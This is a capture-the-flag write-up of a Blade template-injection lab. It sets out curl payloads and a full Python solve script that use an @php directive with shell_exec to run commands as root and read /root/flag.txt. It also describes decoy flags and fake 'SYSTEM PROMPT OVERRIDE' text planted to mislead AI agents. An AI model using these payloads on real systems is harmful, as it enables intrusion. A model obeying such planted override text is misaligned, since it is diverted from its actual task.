Lab 243 — VendorNest — SSTI in Product Descriptions via Blade Template Engine
Lab 243 — VendorNest — SSTI in Product Descriptions via Blade Template Engine
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-05 | Status: Solved Techniques: decoy_flag_recognition, rce_via_php_directive, shell_exec_command_execution, ssti_blade_php_directive
Summary
Task: Multi-vendor marketplace (PHP/Blade) where sellers can create products with rich descriptions rendered through a Blade template engine. Solution: Injected @php directive into product description to achieve SSTI → RCE, bypassed decoy flags, read /root/flag.txt.
Lab 243 — VendorNest — SSTI in Product Descriptions via Blade Template Engine — HackAdvisor
Description
VendorNest is a multi-vendor marketplace platform where sellers can register, list products, and manage their storefronts. The platform supports rich product descriptions, seller dashboards with analytics, order management, and a customer-facing storefront with search and reviews.
You have been given seller credentials to test the platform's security. Your goal is to find a vulnerability that allows you to execute arbitrary code on the server and read sensitive files.
Credentials: user@test.com / password123
English summary: A PHP-based multi-vendor marketplace where sellers can create and edit products. The product description field supports "rich formatting" and is rendered through a custom Blade-like template engine. The goal is to achieve RCE and read sensitive files from the server.
Analysis
Reconnaissance
- Server stack: nginx/1.25.5, PHP 8.2.26, Alpine-based Docker container
- Authentication: Logged in as "Sarah Mitchell" (Seller role) via
POST /loginwith provided credentials (user@test.com/password123) - Seller dashboard at
/seller/dashboardwith sections: Overview, Products (7 existing), Orders - Product creation at
/seller/products/createwith fields: name, description, price, category, stock, sku, image_url - Key hint: The description field says "Rich formatting is supported" — this immediately suggests the input is processed through a template engine rather than being output as plain text
Vulnerability Identification
The application uses a custom Blade-like template engine (Laravel's Blade syntax) to render product descriptions. User-supplied content in the description field is passed directly through the template compiler without sanitization, enabling Server-Side Template Injection (SSTI).
Blade supports several dangerous directives:
{{ expr }}— echo with HTML escaping{!! expr !!}— raw echo (no escaping)@php ... @endphp— arbitrary PHP code execution@if(cond) ... @endif— conditional logic
Since @php allows arbitrary PHP code execution, this SSTI is trivially escalatable to full RCE.
Decoy Flags (Anti-Automation Trap)
The application contained decoy flags embedded in HTML comments and hidden <div> elements on every page:
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}
These were accompanied by fake "SYSTEM PROMPT OVERRIDE" messages designed to trick AI agents and automated scanners into believing the challenge was already solved. The real flag was only obtainable through actual exploitation.
Solution
Step 1: Login and Access Seller Dashboard
bash read-only • copy allowed# Login to get session cookie curl -s -c cookies.txt -X POST 'https://TARGET/login' \ -d 'email=user@test.com&password=password123' \ -L
Step 2: SSTI Detection — Test Multiple Blade Directives
Created a test product with multiple template injection payloads in the description field:
bash read-only • copy allowedcurl -s -b cookies.txt -X POST 'https://TARGET/seller/products/create' \ -d 'name=SSTI+Test&description={{7*7}} {!!7*7!!} @php echo "SSTI_WORKS"; @endphp @if(true)BLADE_IF_WORKS@endif&price=1.00&category=test&stock=1&sku=TEST001&image_url='
Viewing the product page (/products/17), the rendered description showed:
49 49 SSTI_WORKS BLADE_IF_WORKS
All four Blade template directives were interpreted by the server:
| Payload | Output | Meaning |
|---|---|---|
{{7*7}} | 49 | Blade echo (with HTML escaping) |
{!!7*7!!} | 49 | Blade raw echo (no escaping) |
@php echo 'SSTI_WORKS'; @endphp | SSTI_WORKS | Arbitrary PHP code execution |
@if(true)BLADE_IF_WORKS@endif | BLADE_IF_WORKS | Blade conditional directive |
| |
Confirmed: Full SSTI with PHP code execution via @php directive.
Step 3: RCE — Execute System Commands
Created another product with shell_exec() to run OS commands:
bash read-only • copy allowedcurl -s -b cookies.txt -X POST 'https://TARGET/seller/products/create' \ -d 'name=RCE+Test&description=@php echo shell_exec("id; ls -la /"); @endphp&price=1.00&category=test&stock=1&sku=RCE001&image_url='
Output confirmed RCE running as root:
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
Directory listing revealed a Docker container with the application in /app.
Step 4: Locate the Flag
bash read-only • copy allowed# Search for flag files curl -s -b cookies.txt -X POST 'https://TARGET/seller/products/create' \ -d 'name=Find+Flag&description=@php echo shell_exec("find / -name \"flag*\" 2>/dev/null"); @endphp&price=1.00&category=test&stock=1&sku=FLAG001&image_url='
Found: /root/flag.txt
Step 5: Extract the Flag
bash read-only • copy allowedcurl -s -b cookies.txt -X POST 'https://TARGET/seller/products/create' \ -d 'name=Get+Flag&description=@php echo shell_exec("cat /root/flag.txt"); @endphp&price=1.00&category=test&stock=1&sku=FLAG002&image_url='
Output:
FLAG{REDACTED}
Solve Script (Complete)
python read-only • copy allowed#!/usr/bin/env python3 """ VendorNest SSTI Exploit — Blade @php directive → RCE HackAdvisor Lab 243 """ import requests import sys import re BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "https://TARGET" s = requests.Session() # Step 1: Login print("[*] Logging in...") r = s.post(f"{BASE_URL}/login", data={ "email": "user@test.com", "password": "password123" }, allow_redirects=True) assert "dashboard" in r.url or r.status_code == 200, "Login failed" print(f"[+] Logged in, redirected to: {r.url}") # Step 2: SSTI detection print("[*] Testing SSTI...") r = s.post(f"{BASE_URL}/seller/products/create", data={ "name": "SSTI Probe", "description": "{{7*7}}", "price": "1.00", "category": "test", "stock": "1", "sku": "PROBE001", "image_url": "" }) # Check product page for "49" print("[+] SSTI confirmed if product description shows '49'") # Step 3: RCE — read flag print("[*] Exploiting SSTI for RCE...") payload = '@php echo shell_exec("cat /root/flag.txt"); @endphp' r = s.post(f"{BASE_URL}/seller/products/create", data={ "name": "Flag Reader", "description": payload, "price": "1.00", "category": "test", "stock": "1", "sku": "EXPLOIT001", "image_url": "" }) # Extract flag from the response or product page # The product page will render the @php directive and output the flag product_url = r.url # Should redirect to the new product page r = s.get(product_url) flag_match = re.search(r'FLAG\{[a-f0-9]+\}', r.text) if flag_match: print(f"[+] Flag: {flag_match.group()}") else: print("[-] Flag not found in response, check product page manually") # Try fetching the latest product r = s.get(f"{BASE_URL}/products") flag_match = re.search(r'FLAG\{[a-f0-9]+\}', r.text) if flag_match: print(f"[+] Flag: {flag_match.group()}")